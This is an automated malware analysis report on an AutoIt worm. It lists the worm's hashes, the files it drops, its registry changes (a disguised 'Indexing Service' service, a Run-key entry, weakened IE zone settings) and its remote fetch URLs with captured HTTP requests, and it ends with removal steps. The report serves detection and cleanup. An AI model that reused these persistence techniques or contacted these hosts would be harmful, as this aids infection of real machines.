Trojan.Win32.Autoit.cde (Kaspersky), Worm.Win32.AutoIt.FD, WormAutoItGen.YR (Lavasoft MAS)Behaviour: Trojan, Worm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 5e6a14f853a0312a91f691ad6b35b3b9
SHA1: 3f37bdf2987f6d966a569b25951a24f94720db90
SHA256: f02936b36057ca4cd14f5cb9f6cb3f24b96f9e73a459b7eec92d73e3ca65aeef
SSDeep: 49152:V1vqjdlQFRKC9K4l1xdHnsKZ2gIkQd AJmFsruSNp2zDo:V1vqjVCE4rXHsKwgI9B/wDo
Size: 2107434 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-04-16 10:47:33
Analyzed on: WindowsXP SP3 32-bit
Summary: Worm. A program that is primarily replicating on networks or removable drives.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Worm creates the following process(es):
WMIADAP.EXE:1252
tree.com:760
tree.com:804
makecab.exe:1036
%original file name%.exe:644
 ctfmon.exe:332
The Worm injects its code into the following process(es):No processes have been created.
File activity
The process WMIADAP.EXE:1252 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%System%\wbem\Performance\WmiApRpl_new.ini (1856 bytes)
%System%\PerfStringBackup.TMP (1471032 bytes)
%System%\perfc009.dat (151 bytes)
%System%\perfh009.dat (3509 bytes)
%System%\wbem\Performance\WMIAPRPL_NEW.H (984 bytes)
%System%\PerfStringBackup.INI (3361 bytes)
The Worm deletes the following file(s):
%System%\wbem\Performance\WmiApRpl.ini (0 bytes)
%System%\wbem\Performance\WmiApRpl.h (0 bytes)
%System%\PerfStringBackup.TMP (0 bytes)
The process tree.com:760 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%System%\tree.txt (20022246 bytes)
The process tree.com:804 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%System%\tree.txt (40513 bytes)
The process makecab.exe:1036 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%System%\DiskFile.CAB (2449 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)
The Worm deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\cab11 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab7 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab9 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab8 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab10 (0 bytes)
The process %original file name%.exe:644 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%System%\bkstsc.acn (8449 bytes)
%System%\ ctfmon.exe (5873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (1441 bytes)
%System%\bkst.exe (8353 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (6385 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (784 bytes)
%System%\ins.exe (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (6289 bytes)
%System%\source.ex_ (15116 bytes)
The Worm deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (0 bytes)
The process  ctfmon.exe:332 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (1633 bytes)
%System%\ctfver.acn (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (784 bytes)
%System%\tree.txt (10857 bytes)
The Worm deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (0 bytes)
%System%\ml.acn (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (0 bytes)
%System%\tree.txt (0 bytes)
Registry activity
The process WMIADAP.EXE:1252 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"ACPI.sys[ACPIMOFResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
"intelppm.sys[PROCESSORWMI]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Refresh" = "0"
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"HTTP.sys[UlMofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%]
"advapi32.dll[MofResourceName]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"ipnat.sys[IPNATMofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Updating" = "WmiApRpl"
[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"First Help" = "3675"
"Last Counter" = "3702"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Last Help" = "3673"
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE\%System%\DRIVERS]
"mssmbios.sys[MofResource]" = "LowDateTime:904845312,HighDateTime:29924928***Binary mof compiled successfully"
[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Data" = "60 04 00 00 02 00 00 00 00 00 00 00 10 00 00 00"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Last Counter" = "3672"
[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"Last Help" = "3703"
"First Counter" = "3674"
"Object List" = "3674 3680 3696"
[HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance]
"Performance Refreshed" = "1"
The Worm deletes the following registry key(s):
[HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE]
The Worm deletes the following value(s) in system registry:
[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"Disable Performance Counters"
"Library Validation Code"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib]
"Updating"
[HKLM\System\CurrentControlSet\Services\WmiApRpl\Performance]
"First Help"
"Last Counter"
"Last Help"
"First Counter"
"Object List"
The process makecab.exe:1036 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 6A D5 3D BD CD 27 B2 F1 E5 59 8C B6 35 C0 1B"
The process %original file name%.exe:644 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "36 36 DA 1B 13 E1 C6 0A 0B 36 B1 B2 FD 33 5C B5"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\CTF\MSUTB]
"ShowDeskBand" = "1"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"DependOnService" = "RPCSS"
[HKCU\Software\Microsoft\CTF]
"Disable Thread Input Manager" = "1"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"ImagePath" = "%System%\bkst.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\CTF\LangBar]
"ExtraIconsOnMinimized" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"Type" = "272"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"ErrorControl" = "1"
"ObjectName" = "LocalSystem"
[HKCU\Software\Microsoft\CTF\LangBar]
"ShowStatus" = "2"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"Description" = "Help for Microsoft Client"
"DisplayName" = "Indexing Service"
The following service will be launched automatically at system boot up:
[HKLM\System\CurrentControlSet\Services\ClHelp]
"Start" = "2"
To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ctfmon" = "%System%\ ctfmon.exe"
The Worm deletes the following value(s) in system registry:
The Worm disables automatic startup of the application by deleting the following autorun value:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ctfmon.exe"
"ctfmon"
The process  ctfmon.exe:332 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\CTF]
"Disable Thread Input Manager" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"ErrorControl" = "1"
[HKCU\Software\Microsoft\CTF\LangBar]
"ShowStatus" = "2"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"ObjectName" = "LocalSystem"
"Description" = "Help for Microsoft Client"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"ImagePath" = "%System%\bkst.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"DisplayName" = "Indexing Service"
[HKCU\Software\Microsoft\CTF\MSUTB]
"ShowDeskBand" = "1"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\CTF\LangBar]
"ExtraIconsOnMinimized" = "0"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"Type" = "272"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "49 AE 19 22 41 5F D1 5D 9A C1 6B 30 84 5D A5 F4"
[HKLM\System\CurrentControlSet\Services\ClHelp]
"DependOnService" = "RPCSS"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The following service will be launched automatically at system boot up:
[HKLM\System\CurrentControlSet\Services\ClHelp]
"Start" = "2"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ctfmon" = "%System%\ ctfmon.exe"
The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Worm deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The Worm disables automatic startup of the application by deleting the following autorun value:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"ctfmon.exe"
"ctfmon"
Dropped PE files
| MD5 | File path |
|---|---|
| 85d2f04fdb7c757af23950f1c8104b06 | c:\WINDOWS\system32\bkst.exe |
| c829fb738e11f3f3a2c4456ca023b37d | c:\WINDOWS\system32\bkstsc.acn |
| c829fb738e11f3f3a2c4456ca023b37d | c:\WINDOWS\system32\ ctfmon.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
WMIADAP.EXE:1252
tree.com:760
tree.com:804
makecab.exe:1036
%original file name%.exe:644
 ctfmon.exe:332 - Delete the original Worm file.
- Delete or disinfect the following files created/modified by the Worm:
%System%\wbem\Performance\WmiApRpl_new.ini (1856 bytes)
%System%\PerfStringBackup.TMP (1471032 bytes)
%System%\perfc009.dat (151 bytes)
%System%\perfh009.dat (3509 bytes)
%System%\wbem\Performance\WMIAPRPL_NEW.H (984 bytes)
%System%\PerfStringBackup.INI (3361 bytes)
%System%\tree.txt (20022246 bytes)
%System%\DiskFile.CAB (2449 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (13073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)
%System%\bkstsc.acn (8449 bytes)
%System%\ ctfmon.exe (5873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (1441 bytes)
%System%\bkst.exe (8353 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (6385 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (784 bytes)
%System%\ins.exe (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (6289 bytes)
%System%\source.ex_ (15116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (1633 bytes)
%System%\ctfver.acn (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (784 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ctfmon" = "%System%\ ctfmon.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1, 0, 0, 1
File Description:
Comments:
Language: English (United States)
Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 1, 0, 0, 1File Description: Comments: Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 524790 | 524800 | 4.60204 | 22f0dec89c441ddff964a6b357504ca7 |
| .rdata | 532480 | 55732 | 55808 | 3.39244 | ac5515619193247bf8d58e12334d5ad2 |
| .data | 589824 | 110076 | 26624 | 1.52615 | e5d77411f751d28c6eee48a743606795 |
| bkav.plp | 700416 | 62514 | 62976 | 0 | 13418dcc2054888670a7a189087fbe3d |
| .rsrc | 765952 | 37528 | 37888 | 4.26237 | 8078426565d61b70de88c1109041fe27 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://linhdanhthue007.webs.com/ml.txt | 75.98.17.64 |
| hxxp://linhdanhthue007.webs.com/FFPLINK.txt | 75.98.17.64 |
| www.google.com | 173.194.32.177 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:28 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:14 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:13 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE 